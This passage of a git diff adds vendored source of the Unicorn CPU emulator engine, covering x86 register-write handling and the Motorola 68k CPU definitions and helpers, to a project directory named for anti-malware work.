break; + case UC_X86_REG_R9: + X86_CPU(uc, mycpu)->env.regs[9] = *(uint64_t *)value; + break; + case UC_X86_REG_R9D: + WRITE_DWORD(X86_CPU(uc, mycpu)->env.regs[9], *(uint32_t *)value); + break; + case UC_X86_REG_R9W: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[9], *(uint16_t *)value); + break; + case UC_X86_REG_R9B: + WRITE_BYTE_L(X86_CPU(uc, mycpu)->env.regs[9], *(uint8_t *)value); + break; + case UC_X86_REG_R10: + X86_CPU(uc, mycpu)->env.regs[10] = *(uint64_t *)value; + break; + case UC_X86_REG_R10D: + WRITE_DWORD(X86_CPU(uc, mycpu)->env.regs[10], *(uint32_t *)value); + break; + case UC_X86_REG_R10W: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[10], *(uint16_t *)value); + break; + case UC_X86_REG_R10B: + WRITE_BYTE_L(X86_CPU(uc, mycpu)->env.regs[10], *(uint8_t *)value); + break; + case UC_X86_REG_R11: + X86_CPU(uc, mycpu)->env.regs[11] = *(uint64_t *)value; + break; + case UC_X86_REG_R11D: + WRITE_DWORD(X86_CPU(uc, mycpu)->env.regs[11], *(uint32_t *)value); + break; + case UC_X86_REG_R11W: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[11], *(uint16_t *)value); + break; + case UC_X86_REG_R11B: + WRITE_BYTE_L(X86_CPU(uc, mycpu)->env.regs[11], *(uint8_t *)value); + break; + case UC_X86_REG_R12: + X86_CPU(uc, mycpu)->env.regs[12] = *(uint64_t *)value; + break; + case UC_X86_REG_R12D: + WRITE_DWORD(X86_CPU(uc, mycpu)->env.regs[12], *(uint32_t *)value); + break; + case UC_X86_REG_R12W: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[12], *(uint16_t *)value); + break; + case UC_X86_REG_R12B: + WRITE_BYTE_L(X86_CPU(uc, mycpu)->env.regs[12], *(uint8_t *)value); + break; + case UC_X86_REG_R13: + X86_CPU(uc, mycpu)->env.regs[13] = *(uint64_t *)value; + break; + case UC_X86_REG_R13D: + WRITE_DWORD(X86_CPU(uc, mycpu)->env.regs[13], *(uint32_t *)value); + break; + case UC_X86_REG_R13W: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[13], *(uint16_t *)value); + break; + case UC_X86_REG_R13B: + WRITE_BYTE_L(X86_CPU(uc, mycpu)->env.regs[13], *(uint8_t *)value); + break; + case UC_X86_REG_R14: + X86_CPU(uc, mycpu)->env.regs[14] = *(uint64_t *)value; + break; + case UC_X86_REG_R14D: + WRITE_DWORD(X86_CPU(uc, mycpu)->env.regs[14], *(uint32_t *)value); + break; + case UC_X86_REG_R14W: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[14], *(uint16_t *)value); + break; + case UC_X86_REG_R14B: + WRITE_BYTE_L(X86_CPU(uc, mycpu)->env.regs[14], *(uint8_t *)value); + break; + case UC_X86_REG_R15: + X86_CPU(uc, mycpu)->env.regs[15] = *(uint64_t *)value; + break; + case UC_X86_REG_R15D: + WRITE_DWORD(X86_CPU(uc, mycpu)->env.regs[15], *(uint32_t *)value); + break; + case UC_X86_REG_R15W: + WRITE_WORD(X86_CPU(uc, mycpu)->env.regs[15], *(uint16_t *)value); + break; + case UC_X86_REG_R15B: + WRITE_BYTE_L(X86_CPU(uc, mycpu)->env.regs[15], *(uint8_t *)value); + break; + case UC_X86_REG_IDTR: + X86_CPU(uc, mycpu)->env.idt.limit = (uint16_t)((uc_x86_mmr *)value)->limit; + X86_CPU(uc, mycpu)->env.idt.base = ((uc_x86_mmr *)value)->base; + break; + case UC_X86_REG_GDTR: + X86_CPU(uc, mycpu)->env.gdt.limit = (uint16_t)((uc_x86_mmr *)value)->limit; + X86_CPU(uc, mycpu)->env.gdt.base = ((uc_x86_mmr *)value)->base; + break; + case UC_X86_REG_LDTR: + X86_CPU(uc, mycpu)->env.ldt.limit = ((uc_x86_mmr *)value)->limit; + X86_CPU(uc, mycpu)->env.ldt.base = ((uc_x86_mmr *)value)->base; + X86_CPU(uc, mycpu)->env.ldt.selector = (uint16_t)((uc_x86_mmr *)value)->selector; + X86_CPU(uc, mycpu)->env.ldt.flags = ((uc_x86_mmr *)value)->flags; + break; + case UC_X86_REG_TR: + X86_CPU(uc, mycpu)->env.tr.limit = ((uc_x86_mmr *)value)->limit; + X86_CPU(uc, mycpu)->env.tr.base = ((uc_x86_mmr *)value)->base; + X86_CPU(uc, mycpu)->env.tr.selector = (uint16_t)((uc_x86_mmr *)value)->selector; + X86_CPU(uc, mycpu)->env.tr.flags = ((uc_x86_mmr *)value)->flags; + break; + case UC_X86_REG_MSR: + x86_msr_write(uc, (uc_x86_msr *)value); + break; + case UC_X86_REG_MXCSR: + cpu_set_mxcsr(&X86_CPU(uc, mycpu)->env, *(uint32_t *)value); + break; + case UC_X86_REG_XMM8: + case UC_X86_REG_XMM9: + case UC_X86_REG_XMM10: + case UC_X86_REG_XMM11: + case UC_X86_REG_XMM12: + case UC_X86_REG_XMM13: + case UC_X86_REG_XMM14: + case UC_X86_REG_XMM15: + { + float64 *src = (float64*)value; + XMMReg *reg = &X86_CPU(uc, mycpu)->env.xmm_regs[regid - UC_X86_REG_XMM0]; + reg->_d[0] = src[0]; + reg->_d[1] = src[1]; + break; + } + case UC_X86_REG_FS_BASE: + X86_CPU(uc, mycpu)->env.segs[R_FS].base = *(uint64_t *)value; + continue; + case UC_X86_REG_GS_BASE: + X86_CPU(uc, mycpu)->env.segs[R_GS].base = *(uint64_t *)value; + continue; + } + break; +#endif + } + } + + return 0; +} + +DEFAULT_VISIBILITY +int x86_uc_machine_init(struct uc_struct *uc) +{ + return machine_initialize(uc); +} + +static bool x86_stop_interrupt(int intno) +{ + switch(intno) { + default: + return false; + case EXCP06_ILLOP: + return true; + } +} + +void pc_machine_init(struct uc_struct *uc); + +static bool x86_insn_hook_validate(uint32_t insn_enum) +{ + //for x86 we can only hook IN, OUT, and SYSCALL + if (insn_enum != UC_X86_INS_IN + && insn_enum != UC_X86_INS_OUT + && insn_enum != UC_X86_INS_SYSCALL + && insn_enum != UC_X86_INS_SYSENTER) { + return false; + } + return true; +} + +DEFAULT_VISIBILITY +void x86_uc_init(struct uc_struct* uc) +{ + apic_register_types(uc); + apic_common_register_types(uc); + register_accel_types(uc); + pc_machine_register_types(uc); + x86_cpu_register_types(uc); + pc_machine_init(uc); // pc_piix + uc->reg_read = x86_reg_read; + uc->reg_write = x86_reg_write; + uc->reg_reset = x86_reg_reset; + uc->release = x86_release; + uc->set_pc = x86_set_pc; + uc->stop_interrupt = x86_stop_interrupt; + uc->insn_hook_validate = x86_insn_hook_validate; + uc_common_init(uc); +} + +/* vim: set ts=4 sts=4 sw=4 et: */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/unicorn.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/unicorn.h new file mode 100644 index 0000000..cb29200 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/unicorn.h @@ -0,0 +1,17 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh , 2015 */ + +#ifndef UC_QEMU_TARGET_I386_H +#define UC_QEMU_TARGET_I386_H + +// functions to read & write registers +int x86_reg_read(struct uc_struct *uc, unsigned int *regs, void **vals, int count); +int x86_reg_write(struct uc_struct *uc, unsigned int *regs, void *const *vals, int count); + +void x86_reg_reset(struct uc_struct *uc); + +void x86_uc_init(struct uc_struct* uc); +int x86_uc_machine_init(struct uc_struct *uc); + +extern const int X86_REGS_STORAGE_SIZE; +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/Makefile.objs b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/Makefile.objs new file mode 100644 index 0000000..f87fde4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/Makefile.objs @@ -0,0 +1,2 @@ +obj-y += translate.o op_helper.o helper.o cpu.o +obj-y += unicorn.o diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/cpu-qom.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/cpu-qom.h new file mode 100644 index 0000000..d8a4917 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/cpu-qom.h @@ -0,0 +1,83 @@ +/* + * QEMU Motorola 68k CPU + * + * Copyright (c) 2012 SUSE LINUX Products GmbH + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see + * + */ +#ifndef QEMU_M68K_CPU_QOM_H +#define QEMU_M68K_CPU_QOM_H + +#include "qom/cpu.h" + +#define TYPE_M68K_CPU "m68k-cpu" + +#define M68K_CPU_CLASS(uc, klass) \ + OBJECT_CLASS_CHECK(uc, M68kCPUClass, (klass), TYPE_M68K_CPU) +#define M68K_CPU(uc, obj) ((M68kCPU *)obj) +#define M68K_CPU_GET_CLASS(uc, obj) \ + OBJECT_GET_CLASS(uc, M68kCPUClass, (obj), TYPE_M68K_CPU) + +/** + * M68kCPUClass: + * @parent_realize: The parent class' realize handler. + * @parent_reset: The parent class' reset handler. + * + * A Motorola 68k CPU model. + */ +typedef struct M68kCPUClass { + /*< private >*/ + CPUClass parent_class; + /*< public >*/ + + DeviceRealize parent_realize; + void (*parent_reset)(CPUState *cpu); +} M68kCPUClass; + +/** + * M68kCPU: + * @env: #CPUM68KState + * + * A Motorola 68k CPU. + */ +typedef struct M68kCPU { + /*< private >*/ + CPUState parent_obj; + /*< public >*/ + + CPUM68KState env; +} M68kCPU; + +static inline M68kCPU *m68k_env_get_cpu(CPUM68KState *env) +{ + return container_of(env, M68kCPU, env); +} + +#define ENV_GET_CPU(e) CPU(m68k_env_get_cpu(e)) + +#define ENV_OFFSET offsetof(M68kCPU, env) + +void m68k_cpu_do_interrupt(CPUState *cpu); +bool m68k_cpu_exec_interrupt(CPUState *cpu, int int_req); +void m68k_cpu_dump_state(CPUState *cpu, FILE *f, fprintf_function cpu_fprintf, + int flags); +hwaddr m68k_cpu_get_phys_page_debug(CPUState *cpu, vaddr addr); +int m68k_cpu_gdb_read_register(CPUState *cpu, uint8_t *buf, int reg); +int m68k_cpu_gdb_write_register(CPUState *cpu, uint8_t *buf, int reg); + +void m68k_cpu_exec_enter(CPUState *cs); +void m68k_cpu_exec_exit(CPUState *cs); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/cpu.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/cpu.c new file mode 100644 index 0000000..f000648 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/cpu.c @@ -0,0 +1,242 @@ +/* + * QEMU Motorola 68k CPU + * + * Copyright (c) 2012 SUSE LINUX Products GmbH + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see + * + */ + +#include "hw/m68k/m68k.h" +#include "cpu.h" +#include "qemu-common.h" + + +static void m68k_cpu_set_pc(CPUState *cs, vaddr value) +{ + M68kCPU *cpu = M68K_CPU(cs->uc, cs); + + cpu->env.pc = value; +} + +static bool m68k_cpu_has_work(CPUState *cs) +{ + return cs->interrupt_request & CPU_INTERRUPT_HARD; +} + +static void m68k_set_feature(CPUM68KState *env, int feature) +{ + env->features |= (1u << feature); +} + +/* CPUClass::reset() */ +static void m68k_cpu_reset(CPUState *s) +{ + M68kCPU *cpu = M68K_CPU(s->uc, s); + M68kCPUClass *mcc = M68K_CPU_GET_CLASS(s->uc, cpu); + CPUM68KState *env = &cpu->env; + + mcc->parent_reset(s); + + memset(env, 0, offsetof(CPUM68KState, features)); +#if !defined(CONFIG_USER_ONLY) + env->sr = 0x2700; +#endif + m68k_switch_sp(env); + /* ??? FP regs should be initialized to NaN. */ + env->cc_op = CC_OP_FLAGS; + /* TODO: We should set PC from the interrupt vector. */ + env->pc = 0; + tlb_flush(s, 1); +} + +/* CPU models */ + +static ObjectClass *m68k_cpu_class_by_name(struct uc_struct *uc, const char *cpu_model) +{ + ObjectClass *oc; + char *typename; + + if (cpu_model == NULL) { + return NULL; + } + + typename = g_strdup_printf("%s-" TYPE_M68K_CPU, cpu_model); + oc = object_class_by_name(uc, typename); + g_free(typename); + if (oc != NULL && (object_class_dynamic_cast(uc, oc, TYPE_M68K_CPU) == NULL || + object_class_is_abstract(oc))) { + return NULL; + } + return oc; +} + +static void m5206_cpu_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + M68kCPU *cpu = M68K_CPU(uc, obj); + CPUM68KState *env = &cpu->env; + + m68k_set_feature(env, M68K_FEATURE_CF_ISA_A); +} + +static void m5208_cpu_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + M68kCPU *cpu = M68K_CPU(uc, obj); + CPUM68KState *env = &cpu->env; + + m68k_set_feature(env, M68K_FEATURE_CF_ISA_A); + m68k_set_feature(env, M68K_FEATURE_CF_ISA_APLUSC); + m68k_set_feature(env, M68K_FEATURE_BRAL); + m68k_set_feature(env, M68K_FEATURE_CF_EMAC); + m68k_set_feature(env, M68K_FEATURE_USP); +} + +static void cfv4e_cpu_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + M68kCPU *cpu = M68K_CPU(uc, obj); + CPUM68KState *env = &cpu->env; + + m68k_set_feature(env, M68K_FEATURE_CF_ISA_A); + m68k_set_feature(env, M68K_FEATURE_CF_ISA_B); + m68k_set_feature(env, M68K_FEATURE_BRAL); + m68k_set_feature(env, M68K_FEATURE_CF_FPU); + m68k_set_feature(env, M68K_FEATURE_CF_EMAC); + m68k_set_feature(env, M68K_FEATURE_USP); +} + +static void any_cpu_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + M68kCPU *cpu = M68K_CPU(uc, obj); + CPUM68KState *env = &cpu->env; + + m68k_set_feature(env, M68K_FEATURE_CF_ISA_A); + m68k_set_feature(env, M68K_FEATURE_CF_ISA_B); + m68k_set_feature(env, M68K_FEATURE_CF_ISA_APLUSC); + m68k_set_feature(env, M68K_FEATURE_BRAL); + m68k_set_feature(env, M68K_FEATURE_CF_FPU); + /* MAC and EMAC are mututally exclusive, so pick EMAC. + It's mostly backwards compatible. */ + m68k_set_feature(env, M68K_FEATURE_CF_EMAC); + m68k_set_feature(env, M68K_FEATURE_CF_EMAC_B); + m68k_set_feature(env, M68K_FEATURE_USP); + m68k_set_feature(env, M68K_FEATURE_EXT_FULL); + m68k_set_feature(env, M68K_FEATURE_WORD_INDEX); +} + +typedef struct M68kCPUInfo { + const char *name; + void (*instance_init)(struct uc_struct *uc, Object *obj, void *opaque); +} M68kCPUInfo; + +static const M68kCPUInfo m68k_cpus[] = { + { "m5206", m5206_cpu_initfn }, + { "m5208", m5208_cpu_initfn }, + { "cfv4e", cfv4e_cpu_initfn }, + { "any", any_cpu_initfn }, +}; + +static int m68k_cpu_realizefn(struct uc_struct *uc, DeviceState *dev, Error **errp) +{ + CPUState *cs = CPU(dev); + M68kCPUClass *mcc = M68K_CPU_GET_CLASS(uc, dev); + + cpu_reset(cs); + qemu_init_vcpu(cs); + + mcc->parent_realize(cs->uc, dev, errp); + + return 0; +} + +static void m68k_cpu_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + CPUState *cs = CPU(obj); + M68kCPU *cpu = M68K_CPU(uc, obj); + CPUM68KState *env = &cpu->env; + + cs->env_ptr = env; + cpu_exec_init(env, opaque); + + if (tcg_enabled(uc)) { + m68k_tcg_init(uc); + } +} + +static void m68k_cpu_class_init(struct uc_struct *uc, ObjectClass *c, void *data) +{ + M68kCPUClass *mcc = M68K_CPU_CLASS(uc, c); + CPUClass *cc = CPU_CLASS(uc, c); + DeviceClass *dc = DEVICE_CLASS(uc, c); + + mcc->parent_realize = dc->realize; + dc->realize = m68k_cpu_realizefn; + + mcc->parent_reset = cc->reset; + cc->reset = m68k_cpu_reset; + + cc->class_by_name = m68k_cpu_class_by_name; + cc->has_work = m68k_cpu_has_work; + cc->do_interrupt = m68k_cpu_do_interrupt; + cc->cpu_exec_interrupt = m68k_cpu_exec_interrupt; + cc->set_pc = m68k_cpu_set_pc; +#ifdef CONFIG_USER_ONLY + cc->handle_mmu_fault = m68k_cpu_handle_mmu_fault; +#else + cc->get_phys_page_debug = m68k_cpu_get_phys_page_debug; +#endif + cc->cpu_exec_enter = m68k_cpu_exec_enter; + cc->cpu_exec_exit = m68k_cpu_exec_exit; +} + +static void register_cpu_type(void *opaque, const M68kCPUInfo *info) +{ + TypeInfo type_info = {0}; + type_info.parent = TYPE_M68K_CPU, + type_info.instance_init = info->instance_init, + + type_info.name = g_strdup_printf("%s-" TYPE_M68K_CPU, info->name); + type_register(opaque, &type_info); + g_free((void *)type_info.name); +} + +void m68k_cpu_register_types(void *opaque) +{ + const TypeInfo m68k_cpu_type_info = { + TYPE_M68K_CPU, + TYPE_CPU, + + sizeof(M68kCPUClass), + sizeof(M68kCPU), + opaque, + + m68k_cpu_initfn, + NULL, + NULL, + + NULL, + + m68k_cpu_class_init, + NULL, + NULL, + + true, + }; + + int i; + + type_register_static(opaque, &m68k_cpu_type_info); + for (i = 0; i < ARRAY_SIZE(m68k_cpus); i++) { + register_cpu_type(opaque, &m68k_cpus[i]); + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/cpu.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/cpu.h new file mode 100644 index 0000000..40f66b4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/cpu.h @@ -0,0 +1,259 @@ +/* + * m68k virtual CPU header + * + * Copyright (c) 2005-2007 CodeSourcery + * Written by Paul Brook + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ +#ifndef CPU_M68K_H +#define CPU_M68K_H + +#define TARGET_LONG_BITS 32 + +#define CPUArchState struct CPUM68KState + +#include "config.h" +#include "qemu-common.h" +#include "exec/cpu-defs.h" + +#include "fpu/softfloat.h" + +#define MAX_QREGS 32 + +#define TARGET_HAS_ICE 1 + +#define ELF_MACHINE EM_68K + +#define EXCP_ACCESS 2 /* Access (MMU) error. */ +#define EXCP_ADDRESS 3 /* Address error. */ +#define EXCP_ILLEGAL 4 /* Illegal instruction. */ +#define EXCP_DIV0 5 /* Divide by zero */ +#define EXCP_PRIVILEGE 8 /* Privilege violation. */ +#define EXCP_TRACE 9 +#define EXCP_LINEA 10 /* Unimplemented line-A (MAC) opcode. */ +#define EXCP_LINEF 11 /* Unimplemented line-F (FPU) opcode. */ +#define EXCP_DEBUGNBP 12 /* Non-breakpoint debug interrupt. */ +#define EXCP_DEBEGBP 13 /* Breakpoint debug interrupt. */ +#define EXCP_FORMAT 14 /* RTE format error. */ +#define EXCP_UNINITIALIZED 15 +#define EXCP_TRAP0 32 /* User trap #0. */ +#define EXCP_TRAP15 47 /* User trap #15. */ +#define EXCP_UNSUPPORTED 61 +#define EXCP_ICE 13 + +#define EXCP_RTE 0x100 +#define EXCP_HALT_INSN 0x101 + +#define NB_MMU_MODES 2 + +typedef struct CPUM68KState { + uint32_t dregs[8]; + uint32_t aregs[8]; + uint32_t pc; + uint32_t sr; + + /* SSP and USP. The current_sp is stored in aregs[7], the other here. */ + int current_sp; + uint32_t sp[2]; + + /* Condition flags. */ + uint32_t cc_op; + uint32_t cc_dest; + uint32_t cc_src; + uint32_t cc_x; + + float64 fregs[8]; + float64 fp_result; + uint32_t fpcr; + uint32_t fpsr; + float_status fp_status; + + uint64_t mactmp; + /* EMAC Hardware deals with 48-bit values composed of one 32-bit and + two 8-bit parts. We store a single 64-bit value and + rearrange/extend this when changing modes. */ + uint64_t macc[4]; + uint32_t macsr; + uint32_t mac_mask; + + /* Temporary storage for DIV helpers. */ + uint32_t div1; + uint32_t div2; + + /* MMU status. */ + struct { + uint32_t ar; + } mmu; + + /* Control registers. */ + uint32_t vbr; + uint32_t mbar; + uint32_t rambar0; + uint32_t cacr; + + int pending_vector; + int pending_level; + + uint32_t qregs[MAX_QREGS]; + + CPU_COMMON + + /* Fields from here on are preserved across CPU reset. */ + uint32_t features; + + // Unicorn engine + struct uc_struct *uc; +} CPUM68KState; + +#include "cpu-qom.h" + +void m68k_tcg_init(struct uc_struct *uc); +M68kCPU *cpu_m68k_init(struct uc_struct *uc, const char *cpu_model); +int cpu_m68k_exec(struct uc_struct *uc, CPUM68KState *s); +/* you can call this signal handler from your SIGBUS and SIGSEGV + signal handlers to inform the virtual CPU of exceptions. non zero + is returned if the signal was handled by the virtual CPU. */ +int cpu_m68k_signal_handler(int host_signum, void *pinfo, + void *puc); +void cpu_m68k_flush_flags(CPUM68KState *, int); + +enum { + CC_OP_DYNAMIC, /* Use env->cc_op */ + CC_OP_FLAGS, /* CC_DEST = CVZN, CC_SRC = unused */ + CC_OP_LOGIC, /* CC_DEST = result, CC_SRC = unused */ + CC_OP_ADD, /* CC_DEST = result, CC_SRC = source */ + CC_OP_SUB, /* CC_DEST = result, CC_SRC = source */ + CC_OP_CMPB, /* CC_DEST = result, CC_SRC = source */ + CC_OP_CMPW, /* CC_DEST = result, CC_SRC = source */ + CC_OP_ADDX, /* CC_DEST = result, CC_SRC = source */ + CC_OP_SUBX, /* CC_DEST = result, CC_SRC = source */ + CC_OP_SHIFT, /* CC_DEST = result, CC_SRC = carry */ +}; + +#define CCF_C 0x01 +#define CCF_V 0x02 +#define CCF_Z 0x04 +#define CCF_N 0x08 +#define CCF_X 0x10 + +#define SR_I_SHIFT 8 +#define SR_I 0x0700 +#define SR_M 0x1000 +#define SR_S 0x2000 +#define SR_T 0x8000 + +#define M68K_SSP 0 +#define M68K_USP 1 + +/* CACR fields are implementation defined, but some bits are common. */ +#define M68K_CACR_EUSP 0x10 + +#define MACSR_PAV0 0x100 +#define MACSR_OMC 0x080 +#define MACSR_SU 0x040 +#define MACSR_FI 0x020 +#define MACSR_RT 0x010 +#define MACSR_N 0x008 +#define MACSR_Z 0x004 +#define MACSR_V 0x002 +#define MACSR_EV 0x001 + +void m68k_set_irq_level(M68kCPU *cpu, int level, uint8_t vector); +void m68k_set_macsr(CPUM68KState *env, uint32_t val); +void m68k_switch_sp(CPUM68KState *env); + +#define M68K_FPCR_PREC (1 << 6) + +void do_m68k_semihosting(CPUM68KState *env, int nr); + +/* There are 4 ColdFire core ISA revisions: A, A+, B and C. + Each feature covers the subset of instructions common to the + ISA revisions mentioned. */ + +enum m68k_features { + M68K_FEATURE_CF_ISA_A, + M68K_FEATURE_CF_ISA_B, /* (ISA B or C). */ + M68K_FEATURE_CF_ISA_APLUSC, /* BIT/BITREV, FF1, STRLDSR (ISA A+ or C). */ + M68K_FEATURE_BRAL, /* Long unconditional branch. (ISA A+ or B). */ + M68K_FEATURE_CF_FPU, + M68K_FEATURE_CF_MAC, + M68K_FEATURE_CF_EMAC, + M68K_FEATURE_CF_EMAC_B, /* Revision B EMAC (dual accumulate). */ + M68K_FEATURE_USP, /* User Stack Pointer. (ISA A+, B or C). */ + M68K_FEATURE_EXT_FULL, /* 68020+ full extension word. */ + M68K_FEATURE_WORD_INDEX /* word sized address index registers. */ +}; + +static inline int m68k_feature(CPUM68KState *env, int feature) +{ + return (env->features & (1u << feature)) != 0; +} + +void m68k_cpu_list(FILE *f, fprintf_function cpu_fprintf); + +void register_m68k_insns (CPUM68KState *env); + +#ifdef CONFIG_USER_ONLY +/* Linux uses 8k pages. */ +#define TARGET_PAGE_BITS 13 +#else +/* Smallest TLB entry size is 1k. */ +#define TARGET_PAGE_BITS 10 +#endif + +#define TARGET_PHYS_ADDR_SPACE_BITS 32 +#define TARGET_VIRT_ADDR_SPACE_BITS 32 + +static inline CPUM68KState *cpu_init(struct uc_struct *uc, const char *cpu_model) +{ + M68kCPU *cpu = cpu_m68k_init(uc, cpu_model); + if (cpu == NULL) { + return NULL; + } + return &cpu->env; +} + +#define cpu_exec cpu_m68k_exec +#define cpu_gen_code cpu_m68k_gen_code +#define cpu_signal_handler cpu_m68k_signal_handler +#define cpu_list m68k_cpu_list + +/* MMU modes definitions */ +#define MMU_MODE0_SUFFIX _kernel +#define MMU_MODE1_SUFFIX _user +#define MMU_USER_IDX 1 +static inline int cpu_mmu_index (CPUM68KState *env) +{ + return (env->sr & SR_S) == 0 ? 1 : 0; +} + +int m68k_cpu_handle_mmu_fault(CPUState *cpu, vaddr address, int rw, + int mmu_idx); + +#include "exec/cpu-all.h" + +static inline void cpu_get_tb_cpu_state(CPUM68KState *env, target_ulong *pc, + target_ulong *cs_base, int *flags) +{ + *pc = env->pc; + *cs_base = 0; + *flags = (env->fpcr & M68K_FPCR_PREC) /* Bit 6 */ + | (env->sr & SR_S) /* Bit 13 */ + | ((env->macsr >> 4) & 0xf); /* Bits 0-3 */ +} + +#include "exec/exec-all.h" + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/helper.c new file mode 100644 index 0000000..3ecc496 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/helper.c @@ -0,0 +1,799 @@ +/* + * m68k op helpers + * + * Copyright (c) 2006-2007 CodeSourcery + * Written by Paul Brook + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" + +#include "exec/helper-proto.h" + +#define SIGNBIT (1u << 31) + +M68kCPU *cpu_m68k_init(struct uc_struct *uc, const char *cpu_model) +{ + M68kCPU *cpu; + CPUM68KState *env; + ObjectClass *oc; + + oc = cpu_class_by_name(uc, TYPE_M68K_CPU, cpu_model); + if (oc == NULL) { + return NULL; + } + cpu = M68K_CPU(uc, object_new(uc, object_class_get_name(oc))); + env = &cpu->env; + + register_m68k_insns(env); + + object_property_set_bool(uc, OBJECT(cpu), true, "realized", NULL); + + return cpu; +} + +void cpu_m68k_flush_flags(CPUM68KState *env, int cc_op) +{ + M68kCPU *cpu = m68k_env_get_cpu(env); + int flags; + uint32_t src; + uint32_t dest; + uint32_t tmp; + +#define HIGHBIT 0x80000000u + +#define SET_NZ(x) do { \ + if ((x) == 0) \ + flags |= CCF_Z; \ + else if ((int32_t)(x) < 0) \ + flags |= CCF_N; \ + } while (0) + +#define SET_FLAGS_SUB(type, utype) do { \ + SET_NZ((type)dest); \ + tmp = dest + src; \ + if ((utype) tmp < (utype) src) \ + flags |= CCF_C; \ + if ((1u << (sizeof(type) * 8 - 1)) & (tmp ^ dest) & (tmp ^ src)) \ + flags |= CCF_V; \ + } while (0) + + flags = 0; + src = env->cc_src; + dest = env->cc_dest; + switch (cc_op) { + case CC_OP_FLAGS: + flags = dest; + break; + case CC_OP_LOGIC: + SET_NZ(dest); + break; + case CC_OP_ADD: + SET_NZ(dest); + if (dest < src) + flags |= CCF_C; + tmp = dest - src; + if (HIGHBIT & (src ^ dest) & ~(tmp ^ src)) + flags |= CCF_V; + break; + case CC_OP_SUB: + SET_FLAGS_SUB(int32_t, uint32_t); + break; + case CC_OP_CMPB: + SET_FLAGS_SUB(int8_t, uint8_t); + break; + case CC_OP_CMPW: + SET_FLAGS_SUB(int16_t, uint16_t); + break; + case CC_OP_ADDX: + SET_NZ(dest); + if (dest <= src) + flags |= CCF_C; + tmp = dest - src - 1; + if (HIGHBIT & (src ^ dest) & ~(tmp ^ src)) + flags |= CCF_V; + break; + case CC_OP_SUBX: + SET_NZ(dest); + tmp = dest + src + 1; + if (tmp <= src) + flags |= CCF_C; + if (HIGHBIT & (tmp ^ dest) & (tmp ^ src)) + flags |= CCF_V; + break; + case CC_OP_SHIFT: + SET_NZ(dest); + if (src) + flags |= CCF_C; + break; + default: + cpu_abort(CPU(cpu), "Bad CC_OP %d", cc_op); + } + env->cc_op = CC_OP_FLAGS; + env->cc_dest = flags; +} + +void HELPER(movec)(CPUM68KState *env, uint32_t reg, uint32_t val) +{ + switch (reg) { + case 0x02: /* CACR */ + env->cacr = val; + m68k_switch_sp(env); + break; + case 0x04: case 0x05: case 0x06: case 0x07: /* ACR[0-3] */ + /* TODO: Implement Access Control Registers. */ + break; + case 0x801: /* VBR */ + env->vbr = val; + break; + /* TODO: Implement control registers. */ + default: + qemu_log("Unimplemented control register write 0x%x = 0x%x\n", + reg, val); + helper_raise_exception(env, EXCP_UNSUPPORTED); + } +} + +void HELPER(set_macsr)(CPUM68KState *env, uint32_t val) 